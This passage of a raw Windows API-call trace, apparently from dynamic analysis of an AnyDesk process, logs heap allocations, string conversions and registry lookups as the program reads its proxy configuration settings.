lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4ab78 [0194.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0194.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe550d8 [0194.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0194.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0194.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550d8 [0194.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=8 | out: lpWideCharStr="connect") returned 8 [0194.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32778 [0194.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4ac18 [0194.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.825] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.825] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba80 | out: hHeap=0x3b0000) returned 1 [0194.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4ba80 [0194.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe54f88 [0194.825] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab78 [0194.825] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0194.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe550d8 [0194.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0194.825] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0194.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550d8 [0194.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=8 | out: lpWideCharStr="connect") returned 8 [0194.825] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9db4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0194.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550d8 [0194.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9db4, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=6 | out: lpWideCharStr="socks") returned 6 [0194.825] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32878 [0194.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac18 [0194.826] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.826] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.826] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.826] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba80 | out: hHeap=0x3b0000) returned 1 [0194.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0xe4ba80 [0194.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe54f88 [0194.826] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab78 [0194.826] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0194.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe550d8 [0194.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0194.826] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe323f8 [0194.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac18 [0194.827] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.827] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.827] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.827] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba80 | out: hHeap=0x3b0000) returned 1 [0194.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4ba80 [0194.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe54f88 [0194.827] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4ab78 [0194.827] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0194.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe550d8 [0194.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0194.827] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe327f8 [0194.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4ac18 [0194.827] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.827] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.828] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.828] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba80 | out: hHeap=0x3b0000) returned 1 [0194.828] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4ba80 [0194.828] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.828] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.828] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe54f88 [0194.828] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.828] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe550d8 [0194.828] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0194.828] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe550c0 [0194.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe550c0, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0194.828] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0194.828] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe328b8 [0194.828] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe550c0 [0194.828] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0194.828] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2f) returned 0xe55788 [0194.828] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11460 | out: hHeap=0x3b0000) returned 1 [0194.828] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.828] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.829] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba80 | out: hHeap=0x3b0000) returned 1 [0194.829] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe054b0 | out: hHeap=0x3b0000) returned 1 [0194.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa38, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0194.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55a98 [0194.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa38, cbMultiByte=-1, lpWideCharStr=0xe55a98, cchWideChar=21 | out: lpWideCharStr="ad.anynet.proxy.mode") returned 21 [0194.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.829] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.830] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.830] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.830] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.830] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55a98 | out: hHeap=0x3b0000) returned 1 [0194.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0194.830] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55a98 [0194.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa50, cbMultiByte=-1, lpWideCharStr=0xe55a98, cchWideChar=21 | out: lpWideCharStr="ad.anynet.proxy.type") returned 21 [0194.830] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.830] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.830] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0194.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.831] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x31) returned 0xe328f8 [0194.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33588 [0194.831] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe328f8 | out: hHeap=0x3b0000) returned 1 [0194.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4ba80 [0194.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe559f0 [0194.831] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.831] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe335b8 [0194.831] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.type", lpReserved=0x0, lpType=0x2e1f288, lpData=0x0, lpcbData=0x2e1f28c*=0x0 | out: lpType=0x2e1f288*=0x0, lpData=0x0, lpcbData=0x2e1f28c*=0x0) returned 0x6 [0194.831] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2b4 | out: phkResult=0x2e1f2b4*=0x0) returned 0x2 [0194.832] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe335b8 | out: hHeap=0x3b0000) returned 1 [0194.832] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.832] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0194.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.832] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.833] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x31) returned 0xe328f8 [0194.833] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe335b8 [0194.833] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe328f8 | out: hHeap=0x3b0000) returned 1 [0194.833] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.833] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4ba60 [0194.833] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55ad0 [0194.833] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.833] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.833] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe335e8 [0194.833] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.type", lpReserved=0x0, lpType=0x2e1f288, lpData=0x0, lpcbData=0x2e1f28c*=0x0 | out: lpType=0x2e1f288*=0x0, lpData=0x0, lpcbData=0x2e1f28c*=0x0) returned 0x6 [0194.833] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2b4 | out: phkResult=0x2e1f2b4*=0x0) returned 0x2 [0194.834] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe335e8 | out: hHeap=0x3b0000) returned 1 [0194.834] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.834] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.834] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.834] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.835] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55a98 | out: hHeap=0x3b0000) returned 1 [0194.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.835] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49570 | out: hHeap=0x3b0000) returned 1 [0194.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49570 [0194.835] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49580 | out: hHeap=0x3b0000) returned 1 [0194.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49580 [0194.835] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49590 | out: hHeap=0x3b0000) returned 1 [0194.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49590 [0194.835] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.837] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.837] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0ce7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0194.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fb28 [0194.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0ce7c, cbMultiByte=-1, lpWideCharStr=0xe2fb28, cchWideChar=33 | out: lpWideCharStr="ad.anynet.proxy.max_search_delay") returned 33 [0194.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0194.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.837] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x49) returned 0xe12c00 [0194.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe328f8 [0194.838] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0194.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4ba20 [0194.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fd08 [0194.838] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.838] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32938 [0194.838] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.maxsearchdelay", lpReserved=0x0, lpType=0x2e1f288, lpData=0x0, lpcbData=0x2e1f28c*=0x0 | out: lpType=0x2e1f288*=0x0, lpData=0x0, lpcbData=0x2e1f28c*=0x0) returned 0x6 [0194.838] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2b4 | out: phkResult=0x2e1f2b4*=0x0) returned 0x2 [0194.839] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32938 | out: hHeap=0x3b0000) returned 1 [0194.839] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.839] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0194.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.839] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.839] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x49) returned 0xe12c00 [0194.839] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32938 [0194.839] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0194.839] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.839] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4ba00 [0194.839] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fcb8 [0194.840] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.840] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.840] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32978 [0194.840] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.maxsearchdelay", lpReserved=0x0, lpType=0x2e1f288, lpData=0x0, lpcbData=0x2e1f28c*=0x0 | out: 